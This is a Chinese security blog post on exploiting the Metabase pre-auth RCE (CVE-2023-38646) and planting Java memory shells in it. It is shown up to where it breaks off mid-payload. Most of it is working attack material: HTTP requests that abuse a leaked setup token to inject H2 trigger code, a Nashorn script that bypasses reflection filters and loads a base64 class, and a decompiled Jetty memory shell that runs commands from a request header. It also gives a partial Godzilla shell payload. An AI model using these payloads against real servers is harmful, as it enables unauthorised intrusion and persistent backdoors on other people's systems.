Metabase RCE 内存马构造及GUI工具(CVE-2023-38646)
2023-10-14 14:31:0 Author: xz.aliyun.com(查看原文) 阅读量:57 收藏

参考文章:
http://www.bmth666.cn/2023/08/18/CVE-2023-38646-Metabase-RCE/
https://xz.aliyun.com/t/12792#toc-2

虽然这漏洞七月份就出来了,并且橘子酱师傅在知识星球有过文章了。我现在十月份才跟到,但是我逛了一圈发现该漏洞只有一些简单命令执行的文章(应该),并没有利用文章,所以做了个简单GUI工具然后学习了一下怎么构造哥斯拉内存马。请大佬们轻喷QWQ

直接选择jar包
https://downloads.metabase.com/v0.46.6/metabase.jar
然后java -jar xxx.jar
注意jdk版本必须大于或等于11,然后将依赖给引入。
然后即可开始调试分析了。

该漏洞是由于Metabase未授权获取了token导致我们可以重置jdbc的url连接,我们可以进行H2 RCE来进一步利用。该漏洞始于一个未授权访问,根据github的diff可以发现

在新版本中删除了上一个版本中残余的setup-token,假如我们获取了token我们可以访问/validate路由对jdbc进行校验,而jdbc校验的时候就造成了JDBC注入,metabase是基于H2数据库的,所以利用面很广

我们首先可以访问[http://localhost:3000/api/session/properties](http://localhost:3000/api/session/properties)获取setup-token

然后构造以下恶意包。

POST /api/setup/validate HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: metabase.DEVICE=b4a0ad02-dacb-4b2a-a39d-cf6a2d613533
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 735

{
    "token": "9b596984-8a65-48a6-9f3b-2561bfb2a052",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
            "advanced-options": false,
            "ssl": true,
"init": "CREATE TRIGGER shell1 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$"
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

进入了test-database-connection方法,携带参数details

其中可以利用URL的zip功能去加载db文件zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;。metabase自带了一个h2的db文件,因此我们可以得以利用H2 RCE

可以看到metabase默认的数据库使用的是h2,我们可以操控其init参数造成注入

在这里提取INIT参数,接下来进行编译。

如果语句以//javascript开头就调用JavaScript引擎去编译语句。

可以看到js引擎是nashornScriptEngine,因此可以执行任意的java语句,包括加载内存马。

最后RCE成功。

限制

其中有个必要条件就是db文件的位置,上述我们使用zip协议去获取的。但是假如我们不知道jar包的位置,那么就无法完成利用,只有当我们环境变量配置了java,并且是在metabase.jar文件所在位置执行的java -jar metabase.jar,我们才可以用./metabase.jar!/xxxx去获取。否则利用无法完成。

我们之前了解过nodejs有关特性,其实在进行jdbc连接是时候有这么一个操作

这一段会移除init参数,但为啥我们还可以利用呢?

在这里压根没检测出init参数。假如检测出了,那也可以绕过,用unicode去绕

Cmd

这个命令执行比较有限制,首先是cmd-header必须和下面说的payload一起发送才生效,也就是一次性的,这是参考bmth师傅文章里的

try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
function getUnsafe(){
  var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  theUnsafeMethod.setAccessible(true); 
  return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
  var unsafe = getUnsafe();
  var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
  var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
  unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
  var reflectionClass;
  try {
    reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
  } catch (error) {
    reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
  }
  var unsafe = getUnsafe();
  var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
  var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
  var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
  var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
  if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
    var unsafe = getUnsafe();
    var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
    var offset = unsafe.objectFieldOffset(overrideField);
    unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
  var classBytes = "yv66vgAAADQBJwoAHACbCgBTAJwHAJ0KAAMAngoAnwCgCgCfAKEKABwAoggAggoAGgCjCgCkAKUKAKQApgcAgwgAeAgAdgcAfAgAdQkApwCoCgAaAKkKAKoAqwgArAoAGwCtCACuCgAaAK8KALAAsQgAsgcAswcAtAcAtQgAYwcAtgoAHgCbCAC3CgAeALgKAFMAuQoAHgC6CAC7CAC8BwC9CgAmAKsKACYAvggAvwgAwAoAGgDBCADCCADDCADECABvCADFCADGCADHBwDICgAbAMkKADMAygoAMwC+CADLCgAbAMwIAM0KAKcAzgoAGwDPCgAbANAIANEKABsA0ggA0wgA1AgA1QgA1ggA1wgA2AgA2QoA2gDbCgDaANwHAN0KAN4A3woASADgCADhCgBIAOIKAEgA4woASADkCgDeAOUKAN4A5goAAwC6CADnBwDoAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQARTHRvb2xzL0pldHR5RWNobzsBAA1TdGFja01hcFRhYmxlBwDoBwCdAQAGaW52b2tlAQAGbWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAANjbWQBABJMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAAtwcmludFdyaXRlcgEAFUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAC2h0dHBDaGFubmVsAQASTGphdmEvbGFuZy9PYmplY3Q7AQANX2NoYW5uZWxGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA5odHRwQ29ubmVjdGlvbgEAD2Nvbm5lY3Rpb25GaWVsZAEAFXVuZGVybHlpbmdPdXRwdXRGaWVsZAEAEHVuZGVybHlpbmdPdXRwdXQBAAdyZXF1ZXN0AQAIcmVzcG9uc2UBAAxvdXRwdXRTdHJlYW0BABZMamF2YS9pby9PdXRwdXRTdHJlYW07AQAKdmFsdWVGaWVsZAEABXZhbHVlAQAFdGFibGUBABF0aHJlYWRMb2NhbHNGaWVsZAEADHRocmVhZExvY2FscwEACnRhYmxlRmllbGQBAAp0YWJsZVZhbHVlAQAGdGFibGVzAQATW0xqYXZhL2xhbmcvT2JqZWN0OwEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEABWdyb3VwAQAXTGphdmEvbGFuZy9UaHJlYWRHcm91cDsBAAFmAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHAOkHAOoHAOsHALUBAApFeGNlcHRpb25zAQAEZXhlYwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBAAJvcwEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAKZXhlY3V0ZUNtZAEAE1tMamF2YS9sYW5nL1N0cmluZzsHALQHAOwHAJIHAN0HALYHAO0BAApTb3VyY2VGaWxlAQAOSmV0dHlFY2hvLmphdmEMAFQAVQwAYABVAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwA7gBVBwDrDADvAPAMAPEA8gwA8wD0DAD1APYHAOoMAPcA+AwA+QD6BwD7DAD8AP0MAP4A/wcBAAwBAQECAQATQXN5bmNIdHRwQ29ubmVjdGlvbgwBAwEEAQAKZ2V0UmVxdWVzdAwBBQEGBwEHDABgAQgBAAlnZXRIZWFkZXIBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvU3RyaW5nAQAQamF2YS9sYW5nL09iamVjdAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQABCgwBCQEKDACJAIoMAQsA/wEADmdldFByaW50V3JpdGVyAQAFdXRmLTgBABNqYXZhL2lvL1ByaW50V3JpdGVyDAEMAFUBAA5IdHRwQ29ubmVjdGlvbgEADmdldEh0dHBDaGFubmVsDAENAQYBAAtnZXRSZXNwb25zZQEACWdldFdyaXRlcgEAB0NoYW5uZWwBAAhfY2hhbm5lbAEABnRoaXMkMAEAD2dldE91dHB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtDAEOAQ8MARABEQEAAAwBEgETAQAHb3MubmFtZQwBFACKDAEVAP8MARYA/wEAA3dpbgwBFwEYAQAEcGluZwEAAi1uAQAFIC1uIDQBAAIvYwEABSAtdCA0AQACc2gBAAItYwcBGQwBGgEbDACJARwBABFqYXZhL3V0aWwvU2Nhbm5lcgcA7AwBHQEeDABUAR8BAAJcYQwBIAEhDAEiASMMASQA/wwBJQEeDAEmAFUBABBjb21tYW5kIG5vdCBudWxsAQAPdG9vbHMvSmV0dHlFY2hvAQAVamF2YS9sYW5nL1RocmVhZEdyb3VwAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABBqYXZhL2xhbmcvVGhyZWFkAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2xhbmcvVGhyb3dhYmxlAQAPcHJpbnRTdGFja1RyYWNlAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAHZ2V0TmFtZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAhlbmRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRl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";
  var bytes = java.util.Base64.getDecoder().decode(classBytes);
  var clz = null;
  var version = java.lang.System.getProperty("java.version");
  var unsafe = getUnsafe();
  var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
  try{
    if (version.split(".")[0] >= 11) {
      bypassReflectionFilter();
      defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
      setAccessible(defineClassMethod); 
      clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
    }else{
      var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
      clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
    }
  }catch(error){
    error.printStackTrace();
  }finally{
    return clz.newInstance();
  }
}
defineClass();

最终payload如上,我们先反编译一下其中的内存马。

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package tools;

import java.io.OutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class JettyEcho {
    public JettyEcho() {
        try {
            this.invoke();
        } catch (Exception var2) {
            var2.printStackTrace();
        }

    }

    public void invoke() throws Exception {
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        Field f = group.getClass().getDeclaredField("threads");
        f.setAccessible(true);
        Thread[] threads = (Thread[])((Thread[])f.get(group));
        Thread[] var4 = threads;
        int var5 = threads.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            Thread thread = var4[var6];

            try {
                Field threadLocalsField = thread.getClass().getDeclaredField("threadLocals");
                threadLocalsField.setAccessible(true);
                Object threadLocals = threadLocalsField.get(thread);
                if (threadLocals != null) {
                    Field tableField = threadLocals.getClass().getDeclaredField("table");
                    tableField.setAccessible(true);
                    Object tableValue = tableField.get(threadLocals);
                    if (tableValue != null) {
                        Object[] tables = (Object[])((Object[])tableValue);
                        Object[] var13 = tables;
                        int var14 = tables.length;

                        for(int var15 = 0; var15 < var14; ++var15) {
                            Object table = var13[var15];
                            if (table != null) {
                                Field valueField = table.getClass().getDeclaredField("value");
                                valueField.setAccessible(true);
                                Object value = valueField.get(table);
                                if (value != null) {
                                    System.out.println(value.getClass().getName());
                                    Method method;
                                    String cmd;
                                    if (value.getClass().getName().endsWith("AsyncHttpConnection")) {
                                        method = value.getClass().getMethod("getRequest", (Class[])null);
                                        value = method.invoke(value, (Object[])null);
                                        method = value.getClass().getMethod("getHeader", String.class);
                                        String cmd = (String)method.invoke(value, "cmd");
                                        cmd = "\n" + this.exec(cmd);
                                        method = value.getClass().getMethod("getPrintWriter", String.class);
                                        PrintWriter printWriter = (PrintWriter)method.invoke(value, "utf-8");
                                        printWriter.println(cmd);
                                        printWriter.flush();
                                        return;
                                    }

                                    Object underlyingOutput;
                                    if (value.getClass().getName().endsWith("HttpConnection")) {
                                        method = value.getClass().getDeclaredMethod("getHttpChannel", (Class[])null);
                                        underlyingOutput = method.invoke(value, (Object[])null);
                                        method = underlyingOutput.getClass().getMethod("getRequest", (Class[])null);
                                        value = method.invoke(underlyingOutput, (Object[])null);
                                        method = value.getClass().getMethod("getHeader", String.class);
                                        cmd = (String)method.invoke(value, "cmd");
                                        String result = "\n" + this.exec(cmd);
                                        method = underlyingOutput.getClass().getMethod("getResponse", (Class[])null);
                                        value = method.invoke(underlyingOutput, (Object[])null);
                                        method = value.getClass().getMethod("getWriter", (Class[])null);
                                        PrintWriter printWriter = (PrintWriter)method.invoke(value, (Object[])null);
                                        printWriter.println(result);
                                        printWriter.flush();
                                        return;
                                    }

                                    if (value.getClass().getName().endsWith("Channel")) {
                                        Field underlyingOutputField = value.getClass().getDeclaredField("underlyingOutput");
                                        underlyingOutputField.setAccessible(true);
                                        underlyingOutput = underlyingOutputField.get(value);

                                        Object httpConnection;
                                        try {
                                            Field _channelField = underlyingOutput.getClass().getDeclaredField("_channel");
                                            _channelField.setAccessible(true);
                                            httpConnection = _channelField.get(underlyingOutput);
                                        } catch (Exception var27) {
                                            Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");
                                            connectionField.setAccessible(true);
                                            httpConnection = connectionField.get(underlyingOutput);
                                        }

                                        Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
                                        Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
                                        String cmd = (String)request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");
                                        OutputStream outputStream = (OutputStream)response.getClass().getMethod("getOutputStream").invoke(response);
                                        String result = "\n" + this.exec(cmd);
                                        outputStream.write(result.getBytes());
                                        outputStream.flush();
                                        return;
                                    }
                                }
                            }
                        }
                    }
                }
            } catch (Exception var28) {
            }
        }

    }

    public String exec(String cmd) {
        if (cmd != null && !"".equals(cmd)) {
            String os = System.getProperty("os.name").toLowerCase();
            cmd = cmd.trim();
            Process process = null;
            String[] executeCmd = null;
            if (os.contains("win")) {
                if (cmd.contains("ping") && !cmd.contains("-n")) {
                    cmd = cmd + " -n 4";
                }

                executeCmd = new String[]{"cmd", "/c", cmd};
            } else {
                if (cmd.contains("ping") && !cmd.contains("-n")) {
                    cmd = cmd + " -t 4";
                }

                executeCmd = new String[]{"sh", "-c", cmd};
            }

            String output;
            try {
                process = Runtime.getRuntime().exec(executeCmd);
                Scanner s = (new Scanner(process.getInputStream())).useDelimiter("\\a");
                output = s.hasNext() ? s.next() : "";
                s = (new Scanner(process.getErrorStream())).useDelimiter("\\a");
                output = output + (s.hasNext() ? s.next() : "");
                String var7 = output;
                return var7;
            } catch (Exception var11) {
                var11.printStackTrace();
                output = var11.toString();
            } finally {
                if (process != null) {
                    process.destroy();
                }

            }

            return output;
        } else {
            return "command not null";
        }
    }
}


目标环境是jetty11,所以和之前的jetty9有些许不同,还在摸索。

哥斯拉

这里我最终的payload如下,是跟着白帽酱师傅写出来的。

POST /api/setup/validate HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
x-client-data:cmd
Cookie: metabase.DEVICE=b4a0ad02-dacb-4b2a-a39d-cf6a2d613533; _ga=GA1.1.1767171371.1694851001; _gid=GA1.1.502142343.1694851001; _gat=1
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 17244

{
    "token": "9b596984-8a65-48a6-9f3b-2561bfb2a052",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:E:/CTFLearning/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
            "advanced-options": false,
            "ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009eval(decodeURIComponent('try%20%7B%0A%20%20load(%22nashorn%3Amozilla_compat.js%22)%3B%0A%7D%20catch%20(e)%20%7B%7D%0Afunction%20getUnsafe()%7B%0A%20%20var%20theUnsafeMethod%20%3D%20java.lang.Class.forName(%22sun.misc.Unsafe%22).getDeclaredField(%22theUnsafe%22)%3B%0A%20%20theUnsafeMethod.setAccessible(true)%3B%20%0A%20%20return%20theUnsafeMethod.get(null)%3B%0A%7D%0Afunction%20removeClassCache(clazz)%7B%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20clazzAnonymousClass%20%3D%20unsafe.defineAnonymousClass(clazz%2Cjava.lang.Class.forName(%22java.lang.Class%22).getResourceAsStream(%22Class.class%22).readAllBytes()%2Cnull)%3B%0A%20%20var%20reflectionDataField%20%3D%20clazzAnonymousClass.getDeclaredField(%22reflectionData%22)%3B%0A%20%20unsafe.putObject(clazz%2Cunsafe.objectFieldOffset(reflectionDataField)%2Cnull)%3B%0A%7D%0Afunction%20bypassReflectionFilter()%20%7B%0A%20%20var%20reflectionClass%3B%0A%20%20try%20%7B%0A%20%20%20%20reflectionClass%20%3D%20java.lang.Class.forName(%22jdk.internal.reflect.Reflection%22)%3B%0A%20%20%7D%20catch%20(error)%20%7B%0A%20%20%20%20reflectionClass%20%3D%20java.lang.Class.forName(%22sun.reflect.Reflection%22)%3B%0A%20%20%7D%0A%20%20var%20unsafe%20%3D%20getUnsafe()%3B%0A%20%20var%20classBuffer%20%3D%20reflectionClass.getResourceAsStream(%22Reflection.class%22).readAllBytes()%3B%0A%20%20var%20reflectionAnonymousClass%20%3D%20unsafe.defineAnonymousClass(reflectionClass%2C%20classBuffer%2C%20null)%3B%0A%20%20var%20fieldFilterMapField%20%3D%20reflectionAnonymousClass.getDeclaredField(%22fieldFilterMap%22)%3B%0A%20%20var%20methodFilterMapField%20%3D%20reflectionAnonymousClass.getD